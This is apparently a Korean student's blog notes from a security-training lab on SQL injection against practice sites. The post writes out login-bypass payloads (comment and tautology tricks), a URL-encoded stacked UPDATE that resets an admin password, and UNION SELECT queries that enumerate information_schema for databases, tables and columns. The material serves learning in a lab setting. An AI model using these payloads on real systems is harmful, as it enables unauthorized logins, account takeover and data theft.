어제 했던 실습 풀어주심
[ 실습 1 ]
- Webhack 사이트의 로그인 페이지에서 SQL Injection을 이용해 로그인하라
select랑 from은 많이 했으니 생략한다.
where user_id='nuno'--' and user_pw='dlaudtn'
--를 사용해 이런식으로 주석처리를 해주게 되면
nuno'--를 아이디에 입력해주고 PW에는 아무거나 입력을 해주어도 로그인을 진행하면
우회해서 접속을 할 수있다.
- GET 방식을 통해 로그인하라
원래는 GET방식으로 안되지만, 이 webhack사이트는 가능하기 때문에 그냥 확인해본다.
이 사이트는 http://192.168.1.20/member/member_login_check.asp?user_id=' or 1=1--&user_pw='
id와 pw에는 아무거나 입력해주어도 상관없다. 그리고 or 조건을 주고 참으로 만들어준다.
하게되면 로그인이 성공했다는 창이 나오게 되는데, 그리고 사이트로 들어가도 정상적으로 로그인이 되어있는것을 확인할 수 있다.
[ 실습 2 ]
- Camel(.200)의 숨겨진 관리자 페이지를 찾고 관리자 계정을 탈취하라
보통 admin이라는 걸로 관리자를 많이 만들기 때문에 위쪽 url에 admin을 넣어서 한다.
아니면 아래쪽에 숨겨져있다.
아이디와 패스워드를 1'or'1'='1로 입력해서 들어오면 관리자 계정을 탈취했다.
그리고 관리자페이지를 가보면 ID가 admin이라는걸 확인할 수 있다.
- 관리자 페이지의 Login 창을 이용해 관리자 패스워드를 변경하라
비밀번호를 바꿔야하기 때문에 update set where절이 들어와야함
update [table]
set [pw='1234']
where [id='admin']
를 써줘야하는데 table부분과 pw,id의 컬럼이름을 모르기 때문에 써줄 수 없다.
그런데 이것을 패킷을 잡아서 의미있게 유추 할 수 있음
패킷을 확인해본결과 admin_id이고 admin_pass라고 확인할 수 있다.
그리고 table 또한 admin이라고 유추할 수 있음
update admin
set admin_pass='1234'
where admin_id='admin'라는 형식을 보내게 된다.
로그인할때 id는 admin으로 주고 PW에는 아무거나 써준다.
1234';update%20admin%20set%20admin_pass='1234'where%20admin_id='admin 을 하게되면
뭔가 내가 원했던 대로 넘어가지않는다.
그대로 가져와서 내가 작성한것이랑 비교를 해봄 비교를 해보니 길이도 너무 길어서 다 안들어가게 된다.
그리고 보이는 +는 공백을 말하는것이다.
내가 적은것을 붙잡은 패킷에 pass 뒷부분부터 submit전까지 붙여넣어준다.
그리고 넘겨주게 되면 무언가 안되는걸 볼 수 있음
그 안되는거에 HTTP오류 메시지 체크를 해제하고 다시 하게 되면
HTTP오류가 아니라 우리가 쓴 오류를 볼 수 있다. 그 오류는 띄어쓰기가 안되었다는걸 확인할 수 있음
띄어쓰기도 인코딩을 해서 하면 전달하게 된다면 될것이다.
%20이거나 +를 하게 되면 된다.
앞에도 인코딩을 해서
1'or'1'='1';update%20admin%20set%20admin_pass='1234'where%20admin_id='admin
%20이 아니라 +를 넣어서 사용할 수 도있음
이런식으로 작성해서 해보게 되면 접속이 잘 되는것을 확인할 수 있음
메타데이터
인포메이션 스키마타에 스키마타라는 테이블이 있는데 그 안에 스키마타네임이라는걸 조회하고싶다.
select schema_name
from information_schema.schemata;
where은 딱히 필요없기 때문에 생략해줌
이렇게 해주게 되면 데이터베이스에 저장된 인포를 확인할 수 있음
메타데이터를 보게 되면 테이블에 저장되어있을만한 테이블이 있다.
메타데이터를 이용해서 테이블에 저장되어있을만한 테이블이 있는데 그 목록을 조회해라
그것이 되면 사용자 정의 테이블만 조회
select table_name
from information_schema.tables;
이렇게 하게 되면 테이블에 저장되었을만한 테이블을 확인할 수 있음
select table_name
from information_schema.tables
where table_schema='webhack';
이렇게 하게 되면 사용자 정의 테이블만 보고싶다 (사용자가 생성한 DB에 있는 테이블을 보고싶다.
select column_name
from information_schema.columns
where table_name='member';
메타데이터를 이용해서 webhack의 컬럼을 조회한다.
webhack의 url을 보게되면
select *
from board
where num=92
이런식이라고 유추할 수 있음
select * from member no=1
union all
select null
유니온을 넣어서 select를 하나 더 넣을 수 있게된다.
select * from member where no=1
union all
select null,null,null,null,null,null;
이런식으로 null을 6개 넣게 되면 컬럼의 갯수를 확인할 수 있다.
6개가 아닌 다른 숫자로 넣게 되면 오류가 뜨는걸 확인할 수 있음
컬럼의 갯수를 확인하는 것은 정확한 테이블명과 컬럼의명을 확인하고 쿼리문을 작성하기 위함
select * from member where no=1
union all
select @@version,null,null,null,null,null;
를 하게되면 버전도 확인할 수 있음
select * from member where no=1
union all
select @@version,null,null,null,null,null;
select * from member where no=1
union all
select null,null,null,null,null,schema_name
from information_schema.schemata;
위에 있는 이 명령어를 기반으로 현재 DB의 이름을 확인할 수 있을것이다.
select * from member where no=1
union all
select null,null,null,null,null,table_name
from information_schema.tables;
이렇게 하게 되면 테이블을 확인한다.
select * from member where no=1
union all
select null,null,null,null,null,group_concat(table_name)
from information_schema.tables;
너무 많이 뜨기 때문에 함수를 하나 적어준다.
이렇게 작성해주면 row하나에 한페이지로 다 볼수있게 해주는 것이다.
select * from member where no=1
union all
select null,null,null,null,null,column_name
from information_schema.columns
를 하게되면 컬럼또한 확인할 수 있는데 너무 많이 뜨기 때문에
where table_name='member'; 를붙여주면 컬럼또한 확인 가능함
select * from member where no=1
union all
select null,null,null,null,null,column_name
from information_schema.columns
where table_schema='webhack';
를 하더라도 똑같은 결과로 알아낼 수 있음
'학원' 카테고리의 다른 글
2023/08/01 convert (0) | 2023.08.01 |
---|---|
2023/07/31 DML (0) | 2023.07.31 |
2023/07/27 SQL Injection (0) | 2023.07.27 |
2023/07/25 SQL 정의어(DDL), 조작어(DML) (0) | 2023.07.25 |
2023/07/24 자격증, datebases (0) | 2023.07.24 |